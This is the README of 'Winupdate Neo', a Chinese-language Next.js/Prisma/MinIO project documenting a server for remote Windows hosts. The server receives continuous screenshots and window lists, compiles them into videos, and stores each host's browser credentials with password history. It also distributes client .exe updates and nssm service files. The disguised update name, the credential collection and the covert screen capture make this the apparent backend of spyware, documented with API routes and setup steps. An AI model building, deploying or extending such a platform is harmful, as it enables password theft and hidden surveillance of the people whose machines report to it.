winupdate-neo/README.md

279 lines
9.5 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Winupdate Neo
一个基于 Next.js + Prisma + MinIO 的“主机截图与版本分发平台”。用于接收客户端上报的屏幕截图与窗口信息,保存到对象存储;配套 Web UI 浏览、检索与收藏记录,并提供将一段时间内的截图压制为视频的能力。同时支持客户端版本文件的上传与分发,以及主机浏览器凭据(含历史密码)入库与查询。
## 功能一览
- 主机与记录
- 接收主机上报的多张截图与窗口信息,自动建档并存储
- 按主机、时间范围检索记录;星标记录管理与分页
- 小时维度“活跃度”时间分布统计
- 媒体处理与下载
- 截图以 AV1.avif压缩后存入 MinIO
- 将一段时间内的截图转码为 MP4SVT-AV1 编码)供下载
- 文件直链下载(版本文件/截图等)
- 凭据采集
- 上报主机浏览器凭据(含历史密码版本),去重合并保存
- 版本分发
- 上传客户端新版本(.exe自动生成校验和与下载地址并标记最新
- 查询最新版本信息与下载链接
- 计划任务与通知
- node-cron 定时任务管理(示例:整点任务、每日清理)与前端管理页 /tasks
- 可选 QQ 机器人 WebHook 推送“主机上线/离线”等通知
- 安全与访问控制
- 页面侧(非 API支持 Basic AuthAPI 默认允许跨域withCors
## 技术栈
- Next.js 15 + React 19 + TypeScript
- Prisma 6PostgreSQL
- MinIOS3 兼容对象存储)
- node-cron 定时任务
- Tailwind CSS v4
- 运行与进程管理Bun、PM2
- 媒体处理FFmpeglibsvtav1
## 目录结构(节选)
```
app/
hosts/
route.ts # 主机列表 APIGET
[hostname]/
page.tsx # 主机详情页UI
credentials/route.ts # 凭据GET/POST
screenshots/route.ts # 截图GET查询/POST上传
starred/route.ts # 星标记录GET分页/POST批量标记
time-distribution/route.ts# 小时分布统计
downloads/[fileId]/route.ts # 文件下载版本、nssm
screenshots/[fileId]/route.ts # 截图文件回源
api/
tasks/route.ts # 计划任务状态/控制
generate/video/route.ts # 按时间段合成视频MP4
version/route.ts # 获取最新版本API 变体)
version/route.ts # 获取最新版本App 路由变体)
lib/
prisma.ts # PrismaClient 单例
config.ts # 端口与 Basic Auth 配置
middleware.ts # withAuth / withCors 辅助
fileStorage.ts # MinIO 存储封装put/get/delete/stat
minioClient.ts # MinIO 客户端与初始化
encodeVideo.ts # 图片压制为 AV1 视频
scheduler.ts / init-scheduler.ts # 定时任务注册
push/qq.ts # QQ Bot 推送
prisma/
schema.prisma # 数据模型
pm2.config.js # PM2 生产运行配置
middleware.ts # Next 中间件:页面 Basic Auth
```
## 前置依赖
- Node.js 18+(推荐 20+
- Bun推荐仓库包含 bun.lock
- PostgreSQL 数据库
- MinIO或任意 S3 兼容对象存储)
- FFmpeg需包含 libsvtav1 编码器)
## 环境变量
在项目根目录创建 .env生产环境同样需要
```
# Server
PORT=3000
NODE_ENV=development
# Basic Auth仅页面侧使用API 默认不校验)
AUTH_USERNAME=admin
AUTH_PASSWORD=password
# DatabasePostgreSQL
DATABASE_URL="postgresql://user:pass@localhost:5432/winupdate_neo?schema=public"
# MinIO / S3
MINIO_ENDPOINT=127.0.0.1
MINIO_PORT=9000
MINIO_USE_SSL=false
MINIO_ACCESS_KEY=your_minio_access_key
MINIO_SECRET_KEY=your_minio_secret_key
MINIO_BUCKET_NAME=winupdate
# 可选QQ Bot 推送
QQ_BOT_URL=
QQ_BOT_TARGET_ID=
```
提示PM2 配置会读取当前目录下的 .envpm2.config.js 内部使用 dotenv 载入),生产环境注意设置强口令与私密变量。
## 安装与运行
- 安装依赖
```bash
bun install
```
- 生成 Prisma Client 并迁移数据库(开发)
```bash
bun run db:generate
bun run db:migrate
```
- 开发运行
```bash
bun run dev
```
- 构建与启动(本地/容器)
```bash
bun run build
bun run start
```
- 使用 PM2 生产部署(推荐)
```bash
# 首次
pm2 start pm2.config.js
# 查看状态
pm2 status
# 查看日志
pm2 logs winupdate-neo --lines 200
# 更新版本后重启
pm2 restart winupdate-neo
```
日志默认输出至 logs/,可在 pm2.config.js 中调整。
## 数据模型Prisma
- Host主机按 hostname 唯一
- Record一次上报记录关联若干 Window 与 Screenshot支持 isStarred
- Window窗口信息title/path/memorymemory 为 BigInt
- Screenshot截图文件元信息核心为 objectNameMinIO 对象名)
- Credential主机-用户-浏览器-URL-Login 唯一,含 lastSyncTime
- Password凭据的历史密码值时间序列
- Version版本文件元信息fileId/objectName/checksum/isLatest
- Nssm辅助可下载文件的元信息
## MinIO 存储约定
- 桶名MINIO_BUCKET_NAME默认 winupdate
- 对象路径:
- 截图screenshots/YYYY/MM/DD/{hostname}/{uuid}.avif
- 版本versions/YYYY/MM/{uuid}.exe
- 其他files/YYYY/MM/DD/{uuid}
- 常用元数据:
- Content-Type、X-Original-Filename、X-File-ID、X-Upload-Time、X-File-Type、X-Hostname
## 核心 API节选
- 主机列表
- GET /hosts
- 截图上传/查询(按主机)
- POST /hosts/{hostname}/screenshotsmultipart/form-data
- 字段windows_infoJSON 字符串screenshot_0..n文件
- GET /hosts/{hostname}/screenshots?startTime=...&endTime=...
- 支持 Unix 秒或 ISO 时间,返回 records + windows + screenshotswindows.memory 已转 string
- 星标记录(按主机)
- GET /hosts/{hostname}/starred?page=1&limit=50
- POST /hosts/{hostname}/starred
- JSON{ "action": "star"|"unstar", "recordIds": ["..."] }
- 切换单条记录星标
- PATCH /api/records/{recordId}/star
- 凭据
- POST /hosts/{hostname}/credentialsBody 为特殊数组结构,首项形如 ["User", "username"],其后为浏览器项)
- GET /hosts/{hostname}/credentials包含密码历史降序
- 时间分布统计(小时)
- GET /hosts/{hostname}/time-distribution?from=ISO&to=ISO
- 返回:[{ timestamp: 秒, count }...]
- 截图文件
- GET /screenshots/{fileId}
- 版本文件下载
- GET /downloads/{fileId}
- 最新版本查询
- GET /versionApp 路由)或 GET /api/versionAPI 路由),均返回 { version, download_url, checksum }
- 截图合成视频MP4
- GET /api/generate/video?hostname=xxx&startTime=unixSec&endTime=unixSec
跨域:大多数 API 通过 withCors 允许跨域Access-Control-Allow-Origin: *)。
### 示例:上传截图
```bash
curl -X POST "http://localhost:3000/hosts/TEST-PC/screenshots" \
-F "windows_info=[{\"title\":\"Explorer\",\"path\":\"C:/Windows/explorer.exe\",\"memory\":12345}]" \
-F "screenshot_0=@/path/to/a.png" \
-F "screenshot_1=@/path/to/b.png"
```
### 示例:批量星标
```bash
curl -X POST "http://localhost:3000/hosts/TEST-PC/starred" \
-H "Content-Type: application/json" \
-d '{"action":"star","recordIds":["rec_xxx","rec_yyy"]}'
```
### 示例:生成时间段视频
```bash
curl -L "http://localhost:3000/api/generate/video?hostname=TEST-PC&startTime=1751104800&endTime=1751108400" -o out.mp4
```
## 认证与安全
- 页面 Basic Auth根中间件对大多数页面启用基本认证用户名/密码来自 AUTH_USERNAME/AUTH_PASSWORD。以下路径跳过认证
- /api/、/screenshots/、/downloads/、/_next/、/favicon.ico以及所有 POST 请求等
- API 跨域:默认允许任意来源(可按需收紧)
- 建议:
- 生产开启 HTTPS
- 使用强口令并限制来源 IP
- 为数据库与对象存储设置最小权限账号
## 定时任务
- 由 lib/scheduler.ts 定义并在服务端初始化lib/init-scheduler.ts
- 已内置:
- 每小时第 30 分执行的示例任务
- 每日 02:00 清理任务(示例)
- 管理界面:/tasks可查看状态并启动/停止
- 通过 /api/tasks 提供状态与控制 API
## 部署要点PM2
- 确保 .env、数据库与 MinIO 可用
- FFmpeg 必须包含 libsvtav1否则截图转码/视频合成会失败)
- 启动pm2 start pm2.config.js脚本使用 bun run start端口默认 12398可由 .env PORT 覆盖)
- 日志logs/ 目录
## 常见问题FAQ
- MinIO 连接失败
- 检查 MINIO_ENDPOINT/MINIO_PORT/MINIO_ACCESS_KEY/MINIO_SECRET_KEY
- 确认桶 MINIO_BUCKET_NAME 已存在
- 截图上传 500/视频生失败
- 确认 FFmpeg 安装且包含 libsvtav1服务器有足够的 CPU 与临时磁盘
- JSON 序列化 BigInt 报错
- API 层已处理 window.memory 的 BigInt->string前端请按字符串消费
- 版本下载 404
- /downloads/{fileId} 会在 versions 与 nssm 两表中查找,请确认 fileId 与库内记录一致
## 开发提示
- 新增模型后:更新 prisma/schema.prisma -> bun run db:generate -> bun run db:migrate
- 新增静态/下载接口时:优先只暴露 fileId后端内部解析为 objectName 再从 MinIO 取文件
- encodeVideo.ts 的 concat+SVT-AV1 管道对输入图片顺序敏感,注意生成 list.txt 的顺序
## 许可
未设置许可License。如需开源或分发请在提交前添加合适的 LICENSE 文件。
---
如需更多部署细节,可参考仓库中的 DEPLOYMENT.md。